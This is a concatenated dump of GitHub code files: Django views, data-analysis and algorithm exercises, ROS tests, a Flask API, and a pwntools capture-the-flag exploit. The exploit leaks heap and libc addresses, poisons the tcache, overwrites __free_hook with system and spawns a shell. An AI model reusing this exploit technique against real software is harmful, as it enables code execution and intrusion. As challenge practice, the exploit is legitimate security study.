[]\n\n #formfour\n try:\n formfourdata = FormFour.objects.get(email=emailid)\n except FormFour.DoesNotExist:\n formfourdata = []\n\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'facultyinfodata': facdata,\n 'formonedata': formonedata,\n 'formtwodata': formtwodata,\n 'formthreedata': formthreedata,\n 'formfourdata': formfourdata,\n }\n return render(request, 'app/dashboard/fetchforms/mainForm.html', context)\n \n else:\n return redirect('login')\n\n\ndef fetchformone(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email= emailid)\n formonedata = FormOne.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'formonedata': formonedata\n }\n return render(request, 'app/dashboard/fetchforms/teaching_and_load_assesment.html', context)\n \n else:\n return redirect('login')\n\n\ndef fetchformtwo(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email=emailid)\n formtwodata = FormTwo.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'formtwodata': formtwodata\n }\n return render(request, 'app/dashboard/fetchforms/examination_and_evaluation_duties.html', context)\n\n else:\n return redirect('login')\n\n\ndef fetchformthree(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email=emailid)\n formThreedata = FormThree.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'formThreedata': formThreedata\n }\n return render(request, 'app/dashboard/fetchforms/student_related_activities.html', context)\n\n else:\n return redirect('login')\n\n\ndef fetchformfour(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email=emailid)\n formFourdata = FormFour.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user, \n 'formFourdata': formFourdata\n }\n return render(request, 'app/dashboard/fetchforms/teacher_guardian_performance.html', context)\n\n else:\n return redirect('login')\n\ndef fetchformfive(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email=emailid)\n formFivedata = FormFive.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'formFivedata': formFivedata\n }\n return render(request, 'app/dashboard/fetchforms/university_result_analysis.html', context)\n\n else:\n return redirect('login')\n\ndef fetchformsix(request, emailid):\n # return render(request,'app/index.html',{'user':request.user})\n if request.user.is_authenticated:\n # filleddata = FormProgress.objects.all()\n filleddata = FormProgress.objects.get(email=emailid)\n formSixdata = FormSix.objects.get(email=emailid)\n context = {\n 'filleddata': filleddata,\n 'user': request.user,\n 'formSixdata': formSixdata\n }\n return render(request, 'app/dashboard/fetchforms/feedback_analysis.html', context)\n\n else:\n return redirect('login')\n\ndef signup(request):\n if request.method == \"POST\":\n authority = request.POST['Authority']\n username = request.POST['username']\n email = request.POST['email']\n pass1 = request.POST['pass1']\n pass2 = request.POST['pass2']\n myuser = User.objects.create_user(username, email, pass1)\n myuser.first_name = authority\n myuser.save()\n\n messages.success(request,\"Your Account has been successfully created.\")\n\n FormProgressdata = FormProgress(\n email = email,\n firstname = \"firstname\",\n FacultyID = \"FacultyID\",\n basicprofile = \"Inompleted\",\n FormOne = \"Incomplete\",\n FormTwo = \"Incomplete\",\n FormThree = \"Incomplete\",\n FormFour = \"Incomplete\",\n FormFive = \"Incomplete\",\n FormSix = \"Incomplete\",\n FormSeven = \"Incomplete\",\n FormEight = \"Incomplete\",\n NetCoutFormFilled = 0\n )\n FormProgressdata.save()\n\n if(authority == \"FACULTY\"):\n BFormProgressdata = BFormProgress(\n email = email,\n basicprofile = \"Inompleted\",\n FormOneA = \"Incomplete\",\n FormOneB = \"Incomplete\",\n FormOneC = \"Incomplete\",\n FormTwo = \"Incomplete\",\n FormThree = \"Incomplete\",\n FormFour = \"Incomplete\",\n FormFive = \"Incomplete\",\n FormSix = \"Incomplete\",\n NetCoutFormFilled = 0\n )\n BFormProgressdata.save()\n\n return redirect('signin')\n\n return render(request, 'app/sign-up.html')\n\n","repo_name":"krushabh-dev/DYPCOE_APPRAISEL","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":34797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27006454728","text":"a=int(input())\nc=0\ns=[]\nb=[int(a) for a in input().split()]\nfor i in range(1,1000):\n for j in range(0,len(b)):\n if i%b[j]==0:\n c=c+1\n continue\n #print(b[j])\n else:\n break\n if c==a:\n break\n c=0\nprint(i)\n","repo_name":"aarthisandhiya/aarthi","sub_path":"124player.py","file_name":"124player.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30085555250","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy.random as np\nimport sys\nimport matplotlib\n\nprint('Python version ' + sys.version)\nprint('Pandas version: ' + pd.__version__)\nprint('Matplotlib version ' + matplotlib.__version__)\n\n# Get Data\n## Create our own data\n### set seed\nnp.seed(111)\n\n### function to generate test data\ndef CreateDataSet(Number=1):\n\n Output = []\n\n for i in range(Number):\n\n # Create a weekly (Mondays) date range\n rng = pd.date_range(start='1/1/2009', end='12/31/2012', freq='W-MON')\n\n # Create random data\n data = np.randint(low=25,high=1000,size=len(rng))\n\n # Satus pool\n status = [1,2,3]\n\n # Make a random list of statuses\n random_status = [status[np.randint(low=0,high=len(status))] for i in range(len(rng))]\n\n # State pool\n states = ['GA','FL','fl','NY','NJ','TX']\n\n # Make a rando list of states\n random_states = [states[np.randint(low=0,high=len(states))] for i in range(len(rng))]\n\n Output.extend(zip(random_states, random_status, data, rng))\n\n return Output\n\n### create data and add to data frame\ndataset = CreateDataSet(4)\ndf = pd.DataFrame(data=dataset, columns=['State','Status','CustomerCount','StatusDate'])\n\n### check\ndf.info()\ndf.head()\n\n### save results to Excel\ndf.to_excel('Lesson3.xlsx', index=False) ### had to pip3 install openpyxl for some reason\nprint('Done')\n\n## Grab Data from Excel\n### set location of file\nLocation = r'Lesson3.xlsx' #the whole string escape is probably unnecessary but leaving for posterity\n\n### parse a specific sheet\ndf = pd.read_excel(Location, 0, index_col='StatusDate') #had to pip3 install xlrd\n\n### check this \ndf.head()\ndf.dtypes\ndf.index\n\n# Prepare Data\n## Clean up data for analysis:\n## 1) state column to upper case\n## 2) Only select records where accoutn status is equial to \"1\"\n## 3) Merg NJ and NY in the sate column\n## 4) Remove any outliers (any odd results in the data set)\n\n### examine unique state values\ndf['State'].unique()\n\n### use lambda to apply function to all data in a set\ndf['State'] = df.State.apply(lambda x: x.upper())\n\n### check it\ndf['State'].unique()\n\n### filter to where status == 1\nmask = df['Status'] == 1\ndf = df[mask]\n\ndf\n### turn NJ states to NY\nmask = df.State =='NJ'\ndf['State'][mask] = 'NY'\n\ndf['CustomerCount'].plot(figsize=(15,5))\n\n### show me the graph!\nplt.show()\n\n### lets change around the data to make a more informative graph\nsortdf = df[df['State']=='NY'].sort_index(axis=0)\nsortdf.head(10)\n\n### Group by State and StatusDate\nDaily = df.reset_index().groupby(['State','StatusDate']).sum()\nDaily.head()\n\n### Delete Status since it is all =1 ?(?? - at least according to the tutorial. Not sure about 4/6/2009)\ndel Daily['Status']\n\n### confirm delete:\nDaily.head()\n\n### check index of the dataframe\nDaily.index\n\n\n### select the state index\nDaily.index.levels[0]\n\n### Select the statusdate index\nDaily.index.levels[1]\n\ntype(Daily)\n\n### plot each by state\nDaily.loc['FL'].plot()\nplt.show()\n\nDaily.loc['GA'].plot()\nplt.show()\n\nDaily.loc['NY'].plot()\nplt.show()\n\nDaily.loc['TX'].plot()\nplt.show()\n\n### plot by specific date\nDaily.loc['FL']['2012':].plot()\nplt.show()\n\nDaily.loc['GA']['2012':].plot()\nplt.show()\n\nDaily.loc['NY']['2012':].plot()\nplt.show()\n\nDaily.loc['TX']['2012'].plot()\nplt.show()\n\n## more cleaning of the data\n### Calculate Outliers\n### note: interesting method for finding outliers for non-normal distributions\nStateYearMonth = Daily.groupby([Daily.index.get_level_values(0), Daily.index.get_level_values(1).year, Daily.index.get_level_values(1).month])\nDaily['Lower'] = StateYearMonth['CustomerCount'].transform( lambda x: x.quantile(q=.25) - (1.5*x.quantile(q=.75)-x.quantile(q=.25)) )\nDaily['Upper'] = StateYearMonth['CustomerCount'].transform( lambda x: x.quantile(q=.75) + (1.5*x.quantile(q=.75)-x.quantile(q=.25)) )\nDaily['Outlier'] = (Daily['CustomerCount'] < Daily['Lower']) | (Daily['CustomerCount'] > Daily['Upper'])\n\nDaily['Lower']\nDaily['Upper']\nDaily['Outlier']\n\n### remove the outliers!\nDaily = Daily[Daily['Outlier'] == False]\n\n### check to make sure we have dataframe that is acceptable\nDaily.head()\n\n### create new data frame to get rid of state column and show max customer count per month\n### combine all markets\n\n### get the max customer count by date\nALL = pd.DataFrame(Daily['CustomerCount'].groupby(Daily.index.get_level_values(1)).sum())\nALL.columns = ['CustomerCount']\nALL.head()\n\n### group by year and month - lambda functions are nice and concise\nYearMonth = ALL.groupby([lambda x: x.year, lambda x: x.month])\n\n### What is the max customer count per year and month\nALL['Max'] = YearMonth['CustomerCount'].transform(lambda x: x.max())\nALL.head()\n\n## Check customer counts vs goals (Big Hairy Annual Goal)\n### create goal data frame\ndata = [1000,2000,3000]\nidx = pd.date_range(start='12/31/2011', end='12/31/2013', freq='A')\nBHAG = pd.DataFrame(data, index=idx, columns=['BHAG'])\n\n### combine data frames\n### NOTE: axis = 0 we append row-wise in the concat function\n### NOTE: there is some functionality changing that is a warning on the tutorial page\ncombined = pd.concat([ALL,BHAG], axis=0)\ncombined = combined.sort_index(axis=0)\ncombined.tail()\n\nfig, axes = plt.subplots(figsize=(12, 7))\ncombined['BHAG'].fillna(method='pad').plot(color='green', label='BHAG')\ncombined['Max'].plot(color='blue', label='All Markets')\nplt.legend(loc='best')\nplt.show()\n### NOTE: I'm not 100% convinced this is the right visualization. It's the future goal? or attainment of past goals?\n\n### Group by year and then get the max vcalue per year\nYear = combined.groupby(lambda x: x.year).max()\nYear\n\n### add a column representing the percent change per year\nYear['YR_PCT_Change'] = Year['Max'].pct_change(periods=1)\nYear\n\n### get next year's end customer count assume same growth rate\n(1 + Year.loc[2012, 'YR_PCT_Change']) * Year.loc[2012,'Max']\n\n# Present Data\n## Create individuals graphs per state\n### First Graph\nALL['Max'].plot(figsize=(10,5));plt.title('ALL Markets')\n\n### Last four graphs NOTE: creating subplots\nfig, axes = plt.subplots(nrows=2, ncols=2, figsize=(20,10))\nfig.subplots_adjust(hspace=1.0) ## create space between plots\n\nDaily.loc['FL']['CustomerCount']['2012':].fillna(method='pad').plot(ax=axes[0,0])\nDaily.loc['GA']['CustomerCount']['2012':].fillna(method='pad').plot(ax=axes[0,0])\nDaily.loc['TX']['CustomerCount']['2012':].fillna(method='pad').plot(ax=axes[0,0])\nDaily.loc['NY']['CustomerCount']['2012':].fillna(method='pad').plot(ax=axes[0,0])\n\n### add titles\naxes[0,0].set_title('Florida')\naxes[0,1].set_title('Georgia')\naxes[1,0].set_title('Texas')\naxes[1,1].set_title('North East')\n\n### show plot\nplt.show()\n\n### NOTE: the rendering doesn't follow what is in the tutorial. Probably because the tutorial uses ANACONDA\n","repo_name":"iwyatt/pythonPlayground","sub_path":"pandas_exercises/pandas_exercise3.py","file_name":"pandas_exercise3.py","file_ext":"py","file_size_in_byte":6799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39148348169","text":"import unittest\n\n\ndef is_number(c):\n try:\n number = int(c)\n return True\n except:\n return False\n\n\ndef is_compressed(target):\n pivot = 1\n for c in target[1:]:\n if is_number(c):\n pivot -= 1\n else:\n pivot += 1\n\n return pivot == 0\n\n\ndef compress(target):\n\n if not target:\n return \"\"\n if len(target) == 1:\n return target\n\n if not is_compressed(target):\n temp = target[0]\n count = 1\n result = \"\"\n\n for c in target[1:]:\n\n if c == temp:\n count += 1\n else:\n result += \"{}{}\".format(temp, count)\n temp = c\n count = 1\n\n result += \"{}{}\".format(temp, count)\n\n return result\n else:\n result = \"\"\n factor = \"\"\n previous = target[0]\n for c in target[1:]:\n if is_number(c):\n factor += c\n else:\n result += previous * int(factor)\n previous = c\n factor = \"\"\n\n result += previous * int(factor)\n\n return result\n\n\nclass Test(unittest.TestCase):\n\n def test_compress(self):\n result = compress(\"aaabbbccd\")\n self.assertEqual(\"a3b3c2d1\", result)\n\n result = compress(\"aaabbbccdd\")\n self.assertEqual(\"a3b3c2d2\", result)\n\n result = compress(result)\n self.assertEqual(\"aaabbbccdd\", result)\n","repo_name":"gcvalderrama/python_foundations","sub_path":"cracking/stringCompression.py","file_name":"stringCompression.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29678006714","text":"import pytest\n\nimport rclpy\nfrom rclpy.node import Node\n\nfrom test_msgs.srv import Empty\n\n\n@pytest.fixture(autouse=True)\ndef default_context():\n rclpy.init()\n yield\n rclpy.shutdown()\n\n\n@pytest.mark.parametrize('service_name, namespace, expected', [\n # No namespaces\n ('service', None, '/service'),\n ('example/service', None, '/example/service'),\n # Using service names with namespaces\n ('service', 'ns', '/ns/service'),\n ('example/service', 'ns', '/ns/example/service'),\n ('example/service', 'my/ns', '/my/ns/example/service'),\n ('example/service', '/my/ns', '/my/ns/example/service'),\n # Global service name\n ('/service', 'ns', '/service'),\n ('/example/service', 'ns', '/example/service'),\n])\ndef test_get_service_name(service_name, namespace, expected):\n node = Node('node_name', namespace=namespace, cli_args=None, start_parameter_services=False)\n srv = node.create_service(\n srv_type=Empty,\n srv_name=service_name,\n callback=lambda _: None\n )\n\n assert srv.service_name == expected\n\n srv.destroy()\n node.destroy_node()\n\n\n@pytest.mark.parametrize('service_name, namespace, cli_args, expected', [\n ('service', None, ['--ros-args', '--remap', 'service:=new_service'], '/new_service'),\n ('service', 'ns', ['--ros-args', '--remap', 'service:=new_service'], '/ns/new_service'),\n ('service', 'ns', ['--ros-args', '--remap', 'service:=example/new_service'],\n '/ns/example/new_service'),\n ('example/service', 'ns', ['--ros-args', '--remap', 'example/service:=new_service'],\n '/ns/new_service'),\n])\ndef test_get_service_name_after_remapping(service_name, namespace, cli_args, expected):\n node = Node(\n 'node_name',\n namespace=namespace,\n cli_args=cli_args,\n start_parameter_services=False)\n srv = node.create_service(\n srv_type=Empty,\n srv_name=service_name,\n callback=lambda _: None\n )\n\n assert srv.service_name == expected\n\n srv.destroy()\n node.destroy_node()\n","repo_name":"ros2/rclpy","sub_path":"rclpy/test/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":215,"dataset":"github-code","pt":"31"} +{"seq_id":"39097173605","text":"import sys\r\n\r\nsys.path.append(\"../../..\")\r\n\r\nfrom pprint import pprint\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom prototype.crawl_init_data.increase_id import cal_next_id\r\n\r\n# each JSON is small, there's no need in iterative processing\r\nimport json\r\nimport sys\r\nimport os\r\nimport xml\r\nimport time\r\n\r\nimport pyspark\r\nfrom pyspark.conf import SparkConf\r\nfrom pyspark.context import SparkContext\r\nfrom pyspark.sql import SparkSession\r\n\r\nimport copy\r\nimport uuid\r\n\r\nmonth_index = {\r\n 'jan': 1, 'january': 1,\r\n 'feb': 2, 'february': 2,\r\n 'mar': 3, 'march': 3,\r\n 'apr': 4, 'april': 4,\r\n 'may': 5, 'may': 5,\r\n 'jun': 6, 'june': 6,\r\n 'jul': 7, 'july': 7,\r\n 'aug': 8, 'august': 8,\r\n 'sep': 9, 'september': 9,\r\n 'oct': 10, 'october': 10,\r\n 'nov': 11, 'november': 11,\r\n 'dec': 12, 'december': 12}\r\n\r\navailable_entries = [\"article\", \"inproceedings\", \"proceedings\", \"book\", \"incollection\", \"phdthesis\", \"mastersthesis\", \"www\"]\r\navailable_field = [\"author\",\"editor\",\"title\",\"booktitle\",\"pages\",\"year\",\"address\",\"journal\",\"volume\",\"number\",\"month\",\"url\",\"ee\",\"cdrom\",\"cite\",\"publisher\",\"note\",\"crossref\",\"isbn\",\"series\",\"school\",\"chapter\",\"publnr\"]\r\n\r\nobject_field = [\"id\", \"entry\", \"author\", \"title\", \"year\", \"month\", \"url\", \"ee\", \"address\", \"journal\", \"isbn\"]\r\n\r\ndef check_tag(tag_arr, line, oc_state):\r\n for tag in tag_arr:\r\n if oc_state == \"c\":\r\n if line.find(f\"/{tag}>\") != -1:\r\n return tag\r\n else:\r\n if line.find(f\"<{tag}\") != -1:\r\n return tag\r\n return \"\"\r\n\r\nimport re\r\n\r\nsource = \"/recsys/data/dblp/dblp.xml\"\r\n\r\nwith open(source, \"r\") as test_read:\r\n current_data = {\r\n \"id\" : 0,\r\n \"entry\" : \"\",\r\n \"author\" : [],\r\n \"title\" : \"\",\r\n \"year\" : -1,\r\n \"month\" : -1,\r\n \"url\" : [],\r\n \"ee\" : [],\r\n \"address\" : [],\r\n \"journal\" : \"\",\r\n \"isbn\" : \"\"\r\n }\r\n def init():\r\n global current_data\r\n del current_data\r\n current_data = {\r\n \"id\" : 0,\r\n \"entry\" : \"\",\r\n \"author\" : [],\r\n \"title\" : \"\",\r\n \"year\" : -1,\r\n \"month\" : -1,\r\n \"url\" : [],\r\n \"ee\" : [],\r\n \"address\" : [],\r\n \"journal\" : \"\",\r\n \"isbn\" : \"\"\r\n }\r\n\r\n def data_handle(data):\r\n pass\r\n\r\n # state = 0 -> search start entry\r\n # state = 1 -> search end entry\r\n state = 0\r\n open_entry = \"\"\r\n for i, line in enumerate(test_read):\r\n if state == 0:\r\n _t = check_tag(available_entries, line, \"o\")\r\n if _t != \"\":\r\n print(f\"Open {_t}\")\r\n open_entry = _t\r\n state = 1\r\n init()\r\n if state == 1:\r\n _t = check_tag(available_entries, line, \"c\")\r\n if _t != \"\" and _t == open_entry:\r\n print(f\"Close {_t}\")\r\n json_str = json.dumps(current_data, indent=4)\r\n print(json_str)\r\n init()\r\n open_entry = \"\"\r\n state = 0\r\n if state == 0:\r\n _t = check_tag(available_entries, line, \"o\")\r\n if _t != \"\":\r\n print(f\"Open {_t}\")\r\n open_entry = _t\r\n state = 1\r\n init()\r\n \r\n if state == 1:\r\n _t = check_tag(object_field, line, \"o\")\r\n if _t != \"\" and _t in object_field:\r\n print(_t)\r\n res = re.findall(f\"<{_t}>(.*?)\", line)\r\n\r\n if len(res) > 0:\r\n content = res[0]\r\n if isinstance(current_data[_t], list):\r\n current_data[_t].append(content)\r\n elif isinstance(current_data[_t], int):\r\n if content.lower() in month_index:\r\n current_data[_t] = month_index[content.lower()]\r\n else: current_data[_t] = int(content)\r\n elif isinstance(current_data[_t], str):\r\n current_data[_t] = content\r\n \r\n if i == 1000:\r\n break\r\n","repo_name":"howard-o-neil/CL-PUB","sub_path":"scripts/ETLs/local/push_dblp/paper_read_xml_unicode.py","file_name":"paper_read_xml_unicode.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70165606488","text":"\"\"\"Exercism Python: Binary Search\n\nProblem:\n- implement a binary search algorithm\n\"\"\"\n\n\ndef find(search_list: list[int], value: int) -> int:\n \"\"\"\n Given a sorted list of numbers, use binary search to get the index\n of where [value] is in the sorted list.\n \"\"\"\n\n low = 0\n high = len(search_list) - 1\n\n while True:\n if low > high:\n raise ValueError(\"value not in array\")\n\n # find the middle element\n middle_index = ((high - low) // 2) + low\n middle_number = search_list[middle_index]\n\n # compare middle element with target\n if middle_number == value:\n return middle_index\n\n elif middle_number < value:\n # discard all lower numbers\n low = middle_index + 1\n\n else:\n # discard all higher numbers\n high = middle_index - 1\n","repo_name":"dave-cao/Davids-Exercism","sub_path":"python/binary-search/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31966147524","text":"# EqHeat . py Animated heat equation so ltn v ia f ine d i f fe rence s \nfrom numpy import * \nimport numpy as np\nimport matplotlib . pyplot as plt \nimport matplotlib . animation as animation\n\nNx = 101\nDx = 0.01414 \nDt = 0.6\nKAPPA = 210. # Thermal conductivity\nSPH = 900. # Specific heat\nRHO = 2700. # Density \ncons = KAPPA / ( SPH*RHO) *Dt / ( Dx*Dx ) ;\nT = np . zeros ( (Nx , 2 ) , float ) # Temp @ f i r s t 2 t imes \ndef init () :\n for ix in range( 1 , Nx - 1) : # In it ia l temperature \n T[ ix , 0] = 100.0;\n\nT[0 , 0] = 0.0 # Bar ends T = 0\nT[0 , 1] = 0. \nT[Nx - 1, 0] = 0.\nT[Nx - 1, 1] = 0.0 \ninit ()\nk=range ( 0 ,Nx ) \nfig=plt . figure () # Figure to plot\n# s e le c t ax is ; 111: only one plot , x , y , sc a le s given \nax = fig . add_subplot (111 , autoscale_on=False , xlim=(-5, 105) , ylim=(-5 ,110.0) )\nax . grid ( ) # Plot grid\nplt . ylabel ( \"Temperature \" )\nplt . title ( \"Cooling of a bar\" )\nline , = ax . plot (k , T[k , 0 ] , \"r\" , lw=2)\nplt . plot ([1 ,99] ,[0 ,0] , \"r\" ,lw=10) \nplt . text (45 ,5 , 'bar' , fontsize =20)\n\ndef animate (dum) :\n for ix in range ( 1 , Nx - 1) : \n T[ ix , 1] = T[ ix , 0] + cons *(T[ ix + 1 , 0] + T[ ix - 1, 0] - 2.0 *T[ix , 0])\n line . set_data (k ,T[k ,1] ) \n for ix in range ( 1 , Nx - 1) :\n T[ix , 0] = T[ix , 1] # Row o f 100 p o s i t io n s a t t =m\n return line ,\n\nani = animation . FuncAnimation ( fig , animate , 1 ) # Animation\nplt . show ( )","repo_name":"giuliosimoni/replitconnetti","sub_path":"src/PROBLEM_SOLVING/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28544072183","text":"#!/usr/bin/python\n\nimport sys\nimport json\nimport heapq\n\nheap = []\nprev_student_id = None\nprev_student = {}\n\n\ndef add_student(heap, student):\n \"\"\"Prints out a student.\"\"\"\n # create strings for courses\n marks = student['courses'].values()\n if len(marks) > 4:\n value = float(sum(marks)) / len(marks)\n heapq.heappush(heap, (-value, student['name']))\n\n\nfor line in sys.stdin:\n student_id, rest = line.strip().split('\\t', 1)\n rest = rest.split('\\t')\n if len(rest) == 2:\n # we have both name and courses\n name, courses = rest\n else:\n # we only have courses\n name, courses = None, rest[0]\n\n courses = json.loads(courses)\n\n # add and clear previous student if student changed\n if prev_student_id is not None and prev_student_id != student_id:\n add_student(heap, prev_student)\n prev_student = {}\n\n prev_student_id = student_id\n\n # set default values\n prev_student.setdefault('name', None)\n prev_student.setdefault('courses', {})\n\n # update name if not None\n if name is not None:\n prev_student['name'] = name\n\n # update course marks\n for course_id, mark in courses.iteritems():\n prev_student['courses'][course_id] = mark\n\n# add the last student\nadd_student(heap, prev_student)\n\n# print top students\nprev_val = None\nprev_name = None\nwhile 1:\n val, name = heapq.heappop(heap)\n val = -val\n if prev_val == val:\n print('{0}\\t{1}'.format(prev_val, prev_name))\n elif prev_val is None:\n prev_val = val\n prev_name = name\n else:\n print('{0}\\t{1}'.format(prev_val, prev_name))\n break\n","repo_name":"mrknmc/ug4","sub_path":"exc1/task9/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30052142671","text":"from Funcoes import *\nfrom Write import *\n\ndef main():\n er = input(\"Digite sua expressão regular: \")\n aut = automato(er)\n alf = alfabeto(er)\n escrevendo(aut,alf)\n\ndef alfabeto(er):\n expReg,alf,semiAlf = [],[],[]\n\n for i in range(len(er)):#transf a string numa lista\n expReg.append(er[i])\n \n for i in range(len(expReg)):#tiro o '(' ')' '.' '+' '*' 'e' da lista\n if expReg[i] != '(' and expReg[i] != 'e' and expReg[i] != ')' and expReg[i] != '.' and expReg[i] != '*' and expReg[i] != '+':\n semiAlf.append(expReg[i])\n \n for i in range(len(semiAlf)):#tira as repetições\n if not (semiAlf[i] in alf):\n alf.append(semiAlf[i])\n\n return alf\n\ndef automato(er):\n ok = []\n for i in range(len(er)):#transf string numa lista\n ok.append(er[i])\n cont,i = 0,0\n visitados = []\n while 1:#faz o com parentese\n while i\",b\"1\")\n r.sendlineafter(b\"how many:\",f\"{size}\")\n r.sendafter(b\"to order:\",data)\n\ndef show_heap(index):\n r.sendlineafter(b\">\",b\"2\")\n r.sendlineafter(\"Number of order:\",f\"{index}\")\n r.recvuntil(b\"[+] Order[0] => \")\n leak = u64(r.recvline().strip().decode('latin-1').ljust(8,'\\x00'))\n return leak\n\ndef show_libc(index):\n r.sendlineafter(b\">\",b\"2\")\n r.sendlineafter(\"Number of order:\",f\"{index}\")\n r.recvuntil(b\"[+] Order[1] => \")\n leak = u64(r.recvline().strip().decode('latin-1').ljust(8,'\\x00'))\n return leak\n\ndef edit(index,data):\n r.sendlineafter(b\">\",b\"3\")\n r.sendlineafter(\"Number of order:\",f\"{index}\")\n r.sendafter(b\"New order:\",data)\n \ndef delete(index):\n r.sendlineafter(b\">\",b\"4\")\n r.sendlineafter(\"Number of order:\",f\"{index}\")\n\n\nmalloc(100,b\"A\" * 32)\nmalloc(100,b\"B\" * 32)\ndelete(0)\ndelete(1)\nmalloc(100,p8(0x60))\nheap_base = show_heap(0) - 0x260\nlog.info(\"The heap base of the process is \" + hex(heap_base))\nmalloc(1600,b\"A\" * 1024)\nmalloc(32,b\"A\" * 32)\ndelete(1)\nmalloc(1600,p8(0xa0))\nlibc_base = show_libc(1) - 0x3ebca0\nlog.info(\"The libc base of the process is \" + hex(libc_base))\nmalloc(100,b\"JUNK\")\nmalloc(104,b\"C\" * 104) #4\nmalloc(40,b\"D\" * 32) #5\nmalloc(100,b\"E\" * 56 + p64(0x31)) #6\nedit(4,b\"C\" * 104 + p8(0x71))\ndelete(3)\ndelete(6)\ndelete(5)\nmalloc(100,b\"D\" * 40 + p64(0x71) + p64(libc_base + libc.sym.__free_hook))\nmalloc(100,b\"/bin/sh\\x00\")\nmalloc(100,p64(libc_base + libc.sym.system))\ndelete(5)\nr.recv()\nr.interactive()\n","repo_name":"vital-information-resource-under-siege/PWN-Challenges","sub_path":"cyber-apocalypse2022/bonnie/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"39986998705","text":"import numpy as np\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\n# import Flask\nfrom flask import Flask,jsonify\n\n#################################################\n# Database Setup\n#################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n\nconnection=engine.connect()\n\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n\n# Assign the measurement class to a variable called `measurement`\nmeasurement = Base.classes.measurement\n# Assign the station class to a variable called `station`\nstation = Base.classes.station\n\n# Create an app, being sure to pass __name__\napp = Flask(__name__)\n\n\n# Define home page\n@app.route(\"/\")\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return ( f\"

    Welcome to the Hawaii Weather API!


    \"\n f\"Available Routes:
    \"\n f\"/api/v1.0/precipitation
    \"\n f\"/api/v1.0/stations
    \"\n f\"/api/v1.0/tobs
    \"\n f\"/api/v1.0/
    \"\n f\"/api/v1.0//
    \"\n )\n\n# Define the /precipitation route\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n session = Session(engine)\n # Create our session (link) from Python to the DB\n # precipitation_query = \"select * from measurement where date > '2016-08-23'and date <= '2017-08-23' order by date \"\n # results = session.execute(precipitation_query).fetchall()\n results = session.query(measurement.date,measurement.prcp).filter(measurement.date > '2016-08-23' , measurement.date <= '2017-08-23').order_by(measurement.date).all()\n\n session.close() \n\n return jsonify(results)\n\n\n\n# Define the /api/v1.0/stations route\n@app.route(\"/api/v1.0/stations\")\ndef station():\n session = Session(engine)\n results = session.query(measurement.station, func.count(measurement.prcp)).group_by(measurement.station).order_by(measurement.prcp).all()\n\n session.close()\n\n return jsonify(results)\n\n\n# Define the /api/v1.0/tobs route\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n session = Session(engine)\n results = session.query(measurement.date, measurement.tobs).filter(measurement.station == 'USC00519281',measurement.date > '2016-08-23' , measurement.date <= '2017-08-23' ).all()\n\n session.close()\n\n return jsonify(results)\n\n\n\n# Define the /api/v1.0/ route\n@app.route(\"/api/v1.0/\")\ndef start():\n session = Session(engine)\n\n min_temp = session.query(func.min(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n max_temp = session.query(func.max(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n mean_temp = session.query(func.avg(measurement.tobs)).filter(measurement.station == 'USC00519281').all()\n\n session.close()\n\n all_results = [min_temp, mean_temp, max_temp]\n\n return jsonify(all_results)\n\n\n\n# Define the /api/v1.0// route\n@app.route(\"/api/v1.0//\")\ndef start_end():\n session = 